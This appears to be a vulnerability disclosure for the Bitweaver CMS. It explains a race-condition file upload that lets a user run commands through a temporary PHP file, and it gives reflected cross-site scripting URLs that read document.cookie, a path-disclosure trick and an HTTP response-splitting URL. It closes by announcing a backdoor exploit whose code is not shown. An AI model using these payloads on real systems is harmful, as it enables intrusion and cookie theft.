vulnerable code in articles/BitArticle.php near lines 456-478:

explaination:

a remote user can go to:

http://[target]/[path]/articles/edit.php

to submit an article to the administrator, you can attach an image there.

You can submit a file like this, with double extension:

suntzu1234.php.xxx

a temporary copy of the file is created in temp/articles/ folder and
renamed

like this:

temp_suntzu1234.php.xxx

(see $tmpImagePath argument...)

you have about 0.1 / 0.2 seconds to launch commands :), because temporary
file

is deleted

http://[target]/[path]/temp/articles/temp_suntzu1234.php.xxx?cmd=dir

this works fine on most Apache servers...

note: this folder is not properly protected, we have an .htaccess file like
this:

<FilesMatch ".ph(p(3|4)?|tml)$">

order deny,allow

deny from all

</FilesMatch>

ii) two cross site scripting vulnerabilities:

http://[target]/[path_to_bitweaver]/users/login.php?error=<script>alert(
document.cookie)</script>

http://[target]/[path_to_bitweaver]/articles/index.php?feedback=<script>
alert(document.cookie)</script>

iii) a trick to see bitweaver "white screen of death":

http://[target]/[path_to_bitweaver]/users/index.php?sort_mode=suntzuuuuu
uuuuuuuu

and disclose full application path, database table prefix ,among other
things...

iv) various http response splitting vulnerabilities, this is one:

http://[target]/[path]/index.php?BWSESSION=%0d%0a[http headers]

this is the exploit for i), it creates a backdoor called suntzu.php.xxx in

temp/articles/ when you succeed for the first time
